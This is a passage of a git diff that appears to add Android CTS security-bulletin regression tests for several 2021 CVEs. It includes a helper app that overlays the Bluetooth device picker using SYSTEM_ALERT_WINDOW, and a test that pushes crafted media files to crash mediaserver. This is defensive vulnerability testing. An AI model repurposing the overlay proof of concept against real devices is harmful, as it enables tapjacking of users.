- @AsbSecurityTest(cveBugId = 175451767)
+ @AsbSecurityTest(cveBugId = 175451802)
public void testPocCVE_2020_29661() throws Exception {
AdbUtils.runPocNoOutput("CVE-2020-29661", getDevice(),60);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
new file mode 100644
index 00000000000..52e2a3a0e96
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0586 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0586.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ /**
+ * b/182584940
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 182584940)
+ @Test
+ public void testPocCVE_2021_0586() throws Exception {
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ getDevice());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testClick"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
new file mode 100644
index 00000000000..0c8f0a9fd1b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.RequiresDevice;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import java.util.regex.Pattern;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0591 extends BaseHostJUnit4Test {
+
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0591.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ /**
+ * b/179386960
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 179386960)
+ @Test
+ public void testPocCVE_2021_0591() throws Exception {
+ ITestDevice device = getDevice();
+
+ assumeTrue("Bluetooth is not available on device",
+ device.hasFeature("android.hardware.bluetooth"));
+
+ /* Clear the logs in the beginning */
+ AdbUtils.runCommandLine("logcat -c", device);
+ installPackage();
+ try {
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testClick");
+ } catch (AssertionError error) {
+ /* runDeviceTests crashed, do not continue */
+ error.printStackTrace();
+ return;
+ }
+ String screenshotServiceErrorReceiver =
+ "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver";
+ String logcat =
+ AdbUtils.runCommandLine("logcat -d BluetoothPermissionActivity *:S", device);
+ Pattern pattern = Pattern.compile(screenshotServiceErrorReceiver, Pattern.MULTILINE);
+ String message = "Device is vulnerable to b/179386960 "
+ + "hence it is possible to sent a broadcast intent to "
+ + screenshotServiceErrorReceiver;
+ assertThat(message, pattern.matcher(logcat).find(), is(false));
+ }
+
+ private void installPackage() throws Exception {
+ installPackage(TEST_APP, new String[0]);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
new file mode 100644
index 00000000000..0562b49b756
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0596 extends SecurityTestCase {
+
+ /**
+ * b/181346550
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @AsbSecurityTest(cveBugId = 181346550)
+ @Test
+ public void testPocCVE_2021_0596() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0596", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
new file mode 100644
index 00000000000..d4bbfb3972e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0636 extends SecurityTestCase {
+
+ public void testPocCVE_2021_0636(String mediaFileName) throws Exception {
+ /*
+ * Non StageFright test.
+ */
+ AdbUtils.pushResource(
+ "/" + mediaFileName, "/sdcard/" + mediaFileName, getDevice());
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
+ + mediaFileName, getDevice());
+ Thread.sleep(4000); // Delay to run the media file and capture output in logcat
+ AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
+ AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 189392423)
+ public void testPocCVE_2021_0636() throws Exception {
+ testPocCVE_2021_0636("cve_2021_0636_1.avi");
+ testPocCVE_2021_0636("cve_2021_0636_2.avi");
+ testPocCVE_2021_0636("cve_2021_0636_3.avi");
+ testPocCVE_2021_0636("cve_2021_0636_4.avi");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
new file mode 100644
index 00000000000..4df0f6ffde8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0684 extends SecurityTestCase {
+
+ /**
+ * b/179839665
+ * Vulnerability Behaviour: SIGSEGV in Self
+ */
+ @AsbSecurityTest(cveBugId = 179839665)
+ @Test
+ public void testPocCVE_2021_0684() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
new file mode 100644
index 00000000000..9adb876ad70
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0586",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml
new file mode 100644
index 00000000000..9ec48ca2b93
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.cve_2021_0586"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2021_0586"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <activity android:name=".PocActivity"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.cve_2021_0586.PocActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0586" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png
new file mode 100644
index 00000000000..cab903e0e02
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml
new file mode 100644
index 00000000000..4d7ba2e1d42
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:id="@+id/parent"
+ android:background="#FFFFFF"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml
new file mode 100644
index 00000000000..dcdbe0aa788
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
new file mode 100644
index 00000000000..8e315c094ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.util.regex.Pattern;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mDevice.pressHome();
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager);
+ final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+ assertNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startActivity(intent);
+ mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
+ }
+
+ @After
+ public void lastOperation() {
+ SystemClock.sleep(LAUNCH_TIMEOUT_MS);
+ }
+
+ @Test
+ public void testClick() {
+ Pattern pattern = Pattern.compile(
+ getApplicationContext().getResources().getString(R.string.overlay_button),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ String message = "Device is vulnerable to b/182584940 hence any app with "
+ + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
+ assertNull(message, mDevice.findObject(selector));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
new file mode 100644
index 00000000000..e242a4eba2d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.Handler;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.provider.Settings;
+import android.view.View;
+
+public class PocActivity extends Activity {
+ private WakeLock mScreenLock;
+ private Context mContext;
+
+ private void startOverlayService() {
+ if (Settings.canDrawOverlays(this)) {
+ Intent intent = new Intent(PocActivity.this, PocService.class);
+ startService(intent);
+ } else {
+ try {
+ Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+ startActivityForResult(intent, 1);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ private void stopOverlayService() {
+ Intent intent = new Intent(PocActivity.this, PocService.class);
+ stopService(intent);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ mContext = this.getApplicationContext();
+ PowerManager pm = mContext.getSystemService(PowerManager.class);
+ mScreenLock = pm.newWakeLock(
+ PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
+ "PocActivity");
+ mScreenLock.acquire();
+ try {
+ Thread.sleep(6000);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ startOverlayService();
+ Intent sharingIntent = new Intent(Intent.ACTION_SEND);
+ sharingIntent.setType("image/*");
+ sharingIntent.setPackage("com.android.bluetooth");
+ Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586"
+ + "/drawable/cve_2021_0586.png");
+ sharingIntent.putExtra(Intent.EXTRA_STREAM, uri);
+ startActivity(Intent.createChooser(sharingIntent, "Share image"));
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ mScreenLock.release();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java
new file mode 100644
index 00000000000..6f0df6a801e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocService.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ public static Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ if (Settings.canDrawOverlays(this)) {
+ mButton = new Button(getApplicationContext());
+ mButton.setText(getResources().getString(R.string.overlay_button));
+ mWindowManager.addView(mButton, mLayoutParams);
+ new Handler().postDelayed(new Runnable() {
+ @Override
+ public void run() {
+ onDestroy();
+ }
+ }, 60000); // one minute
+ mButton.setTag(mButton.getVisibility());
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
new file mode 100644
index 00000000000..4afdb32662c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0591",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml
new file mode 100644
index 00000000000..8e33f0a8539
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0591"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+ <application
+ android:allowBackup="true"
+ android:label="CVE-2021-0591"
+ android:supportsRtl="true">
+
+ <activity android:name=".PocActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0591" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml
new file mode 100644
index 00000000000..a85bec90a5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java
new file mode 100644
index 00000000000..0ca91d80d0f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/DeviceTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
